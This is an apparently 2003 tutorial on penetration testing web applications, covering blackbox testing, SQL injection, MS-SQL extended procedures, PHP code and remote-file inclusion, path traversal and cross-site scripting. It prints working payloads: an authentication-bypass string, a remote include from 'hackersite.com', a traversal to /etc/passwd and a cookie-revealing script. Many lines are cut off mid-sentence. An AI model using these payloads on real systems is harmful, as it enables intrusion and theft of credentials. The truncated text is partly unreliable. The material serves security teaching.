Penetration Testing for Web Applications (Part Two)

by Jody Melbourne and David Jorm
last updated July 3, 2003

Our first article in this series covered user interaction with Web applications and explored the various meth most commonly utilized by developers. In this second installment we will be expanding upon issues of inpu routinely, through a lack of proper input sanity and validity checking, expose their back-end systems to ser SQL-injection attacks. We will also investigate the client-side problems associated with poor input-validatio attacks.

The Blackbox Testing Method

The blackbox testing method is a technique for hardening and penetration-testing Web applications where application is not available to the tester. It forces the penetration tester to look at the Web application fron therefore, an attacker's perspective). The blackbox tester uses fingerprinting methods (as discussed in Part the application and identify all expected inputs and interactions from the user. The blackbox tester, at first, application and learn its expected behavior. The term blackbox refers to this Input/UnknownProcess/Outpu testing.

The tester attempts to elicit exception conditions and anomalous behavior from the Web application by mai - using special characters, white space, SQL keywords, oversized requests, and so forth. Any unexpected r application is noted and investigated. This may take the form of scripting error messages (possibly with sni (HTTP 500), or half-loaded pages.

Figure 1 - Blackbox testing GET variables

Any strange behavior on the part of the application, in response to strange inputs, is certainly worth invest developer has failed to validate inputs correctly!

SQL Injection Vulnerabilities

Many Web application developers (regardless of the environment) do not properly strip user input of potent using that input directly in SQL queries. Depending on the back-end database in use, SQL injection vulnera data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNI subselects, or append additional queries. In some cases, it may be possible to read in or write out to files, on the underlying operating system.

Locating SQL Injection Vulnerabilities

Often the most effective method of locating SQL injection vulnerabilities is by hand - studying application ir characters. With many of the popular backends, informative errors pages are displayed by default, which c query in use: when attempting SQL injection attacks, you want to learn as much as possible about the synt

Figure 2 - Potential SQL injection vulnerability

Figure 3 - Another potential SQL injection hole

Example: Authentication bypass using SQL injection

This is one of the most commonly used examples of an SQL injection vulnerability, as it is easy to understa highlights the extent and severity of these vulnerabilities. One of the simplest ways to validate a user on a with a form, which prompts for a username and password. When the form is submitted to the login script (and password fields are used as variables within an SQL query.

Examine the following code (using MS Access DB as our backend):

```
user = Request.form("user")
pass = Request.form("pass")
Set Conn = Server.CreateObject("ADODB.Connection")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open (dsn)
SQL = "SELECT C=COUNT(*) FROM users where pass='" & pass & "' and user='" & user & "'"
rs.open (sql,conn)  if rs.eof or rs.bof then
 response.write "Database Error"
else
  if rs("C") < 1 then
   response.write "Invalid Credentials"
  else
   response.write "Logged In"
  end if
end if
```

In this scenario, no sanity or validity checking is being performed on the user and pass variables from our f may have client-side (eg. Javascript) checks on the inputs, but as has been demonstrated in the first part c understands HTML can bypass these restrictions. If the attacker were to submit the following credentials to

```
user: test' OR '1'='1
```

```
pass: test
```

the resulting SQL query would look as follows:

```
SELECT * FROM users where pass='test' and user='test' OR '1' = '1'
```

In plain English, "access some data where user and pass are equal to 'test', or 1 is equal to 1." As the seco
first condition is irrelevant, and the query data is returned successfully - in this case, logging the attacker i

For recent examples of this class of vulnerability, please refer to http://www.securityfocus.com/bid/4520 a
http://www.securityfocus.com/bid/4931. Both of these advisories detail SQL authentication issues similar t

MS-SQL Extended stored procedures

Microsoft SQL Server 7 supports the loading of extended stored procedures (a procedure implemented in a
application at runtime). Extended stored procedures can be used in the same manner as database stored p
employed to perform tasks related to the interaction of the SQL server with its underlying Win32 environm
built-in XSPs - most of these stored procedures are prefixed with an xp_.

Some of the built-in functions useful to the MSSQL pen-tester:

* xp_cmdshell	- execute shell commands
* xp_enumgroups	- enumerate NT user groups
* xp_logininfo	- current login info
* xp_grantlogin	- grant login rights
* xp_getnetname	- returns WINS server name
* xp_regdeletekey	- registry manipulation
* xp_regenumvalues	
* xp_regread	
* xp_regwrite	
* xp_msver	- SQL server version info

A non-hardened MS-SQL server may allow the DBO user to access these potentially dangerous stored proc
with the permissions of the SQL server instance - in many cases, with SYSTEM privileges).

There are many extended/stored procedures that should not be accessible to any user other than the DB o
be found at MSDN: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_sp_00_519

A well-maintained guide to hardening MS-SQL Server 7 and 2000 can be found at SQLSecurity.com:
http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=3&tabid=4

PHP and MySQL Injection

A vulnerable PHP Web application with a MySQL backend, despite PHP escaping numerous 'special' characte
enabled), can be manipulated in a similar manner to the above ASP application. MySQL does not allow for
MSSQL's xp_cmdshell, however in many cases it is still possible for the attacker to append arbitrary condit
and subselects to access or modify records in the database.

For more information on PHP/MySQL security issues, refer to http://www.phpadvisory.com. PHP/Mysql secu
- reference phpMyshop (http://www.securityfocus.com/bid/6746) and PHPNuke (http://www.securityfocus.

Code and Content Injection

What is code injection? Code injection vulnerabilities occur where the output or content served from a Web manipulated in such a way that it triggers server-side code execution. In some poorly written Web applicat server-side files (such as by posting to a message board or guestbook) it is sometimes possible to inject cc the application itself.

This vulnerability hinges upon the manner in which the application loads and passes through the contents c this is done before the scripting language is parsed and executed, the user-modified content may also be s execution.

Example: A simple message board in PHP

The following snippet of PHP code is used to display posts for a particular message board. It retrieves the n the user and opens a file `$messageid.txt` under /var/www/forum:

```
<?php
        include('/var/www/template/header.inc');
        if (isset($_GET['messageid']) && file_exists('/var/www/forum/' . stripslashes($me
        is_numeric($messageid)) {
                include('/var/www/forum/' . stripslashes($messageid) . '.txt');
        } else {
                include('/var/www/template/error.inc');
        }
        include('/var/www/template/footer.inc');
?>
```

Although the `is_numeric()` test prevents the user from entering a file path as the messageid, the content checked in any way. (The problem with allowing unchecked entry of file paths is explained later) If the mes would be `include()`'d and therefore executed by the server.

A simple method of exploiting this example vulnerability would be to post to the message board a simple cl the application (PHP in this example), then view the post and see if the output indicates the code has been

Server Side Includes (SSI)

SSI is a mechanism for including files using a special form of HTML comment which predates the include fu languages such as PHP and JSP. Older CGI programs and 'classic' ASP scripts still use SSI to include librarie elements of content, such as a site template header and footer. SSI is interpreted by the Web server, not t tags can be injected at the time of script execution these will often be accepted and parsed by the Web ser vulnerability are similar to those shown above for scripting language injection. SSI is rapidly becoming outr topic will not be covered in any more detail.

Miscellaneous Injection

There are many other kinds of injection attacks common amongst Web applications. Since a Web applicatic contents of headers, cookies and GET/POST variables as input, the actions performed by the application th must be thoroughly examined. There is a potentially limitless scope of actions a Web application may perfo files, search databases, interface with other command systems and, as is increasingly common in the Web other Web applications. Each of these actions requires its own syntax and requires that input variables be s a unique manner.

For example, as we have seen with SQL injection, SQL special characters and keywords must be stripped. I application that opens a serial port and logs information remotely via a modem? Could the user input a mo cause the modem to hangup and redial other numbers? This is merely one example of the concept of inject penetration tester is to understand what the Web application is doing in the background - the function calls - and whether the arguments to these calls or strings of commands can be manipulated via headers, cooki

Example: PHP `fopen()`

As a real world example, take the widespread PHP `fopen()` issue. PHP's file-open `fopen()` function allows f place of a filename, simplifying access to Web services and remote resources. We will use a simple portal p

```
URL: http://www.example.com/index.php?file=main
```

```
<?php
         include('/var/www/template/header.inc');
         if (isset($_GET['file']) {
                  $fp = fopen("$file" . ".html","r");
         } else {
                  $fp = fopen("main.html", "r");
         }
         include('/var/www/template/footer.inc');
?>
```

The index.php script includes header and footer code, and fopen()'s the page indicated by the file GET vari defaults to main.html. The developer is forcing a file extension of .html, but is not specifying a directory pr inspecting this code should notice immediately that it is vulnerable to a directory traversal attack, as long a in .html (See below).

However, due to fopen()'s URL handling features, an attacker in this case could submit:

```
http://www.example.com/index.php?file=http://www.hackersite.com/main
```

This would force the example application to fopen() the file main.html at www.hackersite.com. If this file w would be incorporated into the output of the index.php application, and would therefore be executed by the attacker is able to inject arbitrary PHP code into the output of the Web application, and force server-side e choosing.

W-Agora forum was recently found to have such a vulnerability in its handling of user inputs that could res http://www.securityfocus.com/bid/6463 for more details. This is a perfect example of this particular class c

Many skilled Web application developers are aware of current issues such as SQL injection and will use the functions and command-stripping mechanisms available. However, once less common command systems a sanity-checking is often flawed or inadequate due to a lack of comprehension of the wider issues of input v

Path Traversal and URIs

A common use of Web applications is to act as a wrapper for files of Web content, opening them and returr HTML. This can be seen in the above sample for code injection. Once again, sanity checking is the key. If t specify the file to be wrapped is not checked, a relative path can be entered.

Copying from our misc. code injection example, if the developer were to fail to specify a file suffix with fope

```
fopen("$file" , "r");
```

...the attacker would be able to traverse to any file readable by the Web application.

```
http://www.example.com/index.php?file=../../../../etc/passwd
```

This request would return the contents of /etc/passwd unless additional stripping of the path character (/.) variable.

This problem is compounded by the automatic handling of URIs by many modern Web scripting technologie Microsoft's .NET. If this is supported on the target environment, vulnerable applications can be used as an

```
http://www.example.com/index.php?file=http://www.google.com/
```

This flaw is one of the easiest security issues to spot and rectify, although it remains common on smaller si performs basic content wrapping. The problem can be mitigated in two ways. First, by implementing an int documents or, as in our message board code, using files named in numeric sequence with a static prefix ar any path characters such as [/\.] which attackers could use to access resources outside of the application's

Cross Site Scripting

Cross Site Scripting attacks (a form of content-injection attack) differs from the many other attack method it affects the client-side of the application (ie. the user's browser). Cross Site Scripting (XSS) occurs where allows a user to manipulate HTML output from the application - this may be in the result of a search query, application where the user's input is displayed back to the user without any stripping of HTML content.

A simple example of XSS can be seen in the following URL:

```
http://server.example.com/browse.cfm?categoryID=1&name=Books
```

In this example the content of the 'name' parameter is displayed on the returned page. A user could submi

```
http://server.example.com/browse.cfm?categoryID=1&name=<h1>Books
```

If the characters < > are not being correctly stripped or escaped by this application, the "<h1>" would be would be parsed by the browser as valid html. A better example would be as follows:

```
http://server.example.com/browse.cfm?categoryID=1&name=<script>alert(document.cookie);</sc
```

In this case, we have managed to inject Javascript into the resulting page. The relevant cookie (if any) for in a popup box upon submitting this request.

This can be abused in a number of ways, depending on the intentions of the attacker. A short piece of Java to an arbitrary site could be placed into this URL. The request could then be hex-encoded and sent to anotl open the URL. Upon clicking the trusted link, the user's cookie would be submitted to the external site. If tl alone for authentication, the user's account would be compromised. We will be covering cookies in more de

In most cases, XSS would only be attempted from a reputable or widely-used site, as a user is more likely if the server domain name is trusted. This kind of attack does not allow for any access to the client beyond the user's browser security settings).

For more details on Cross-Site scripting and it's potential for abuse, please refer to the CGISecurity XSS FA http://www.cgisecurity.com/articles/xss-faq.shtml.

Conclusion

In this article we have attempted to provide the penetration tester with a good understanding of the issue

subtopics covered in this article are deep and complex issues, and could well require a series of their own t
encouraged to explore the documents and sites that we have referenced for further information.

The final part of this series will discuss in more detail the concepts of sessions and cookies - how Web appli
mechanisms can be manipulated and bypassed. We will also explore the issue of traditional attacks (such a
that have plagued developers for years, and are still quite common in the Web applications world.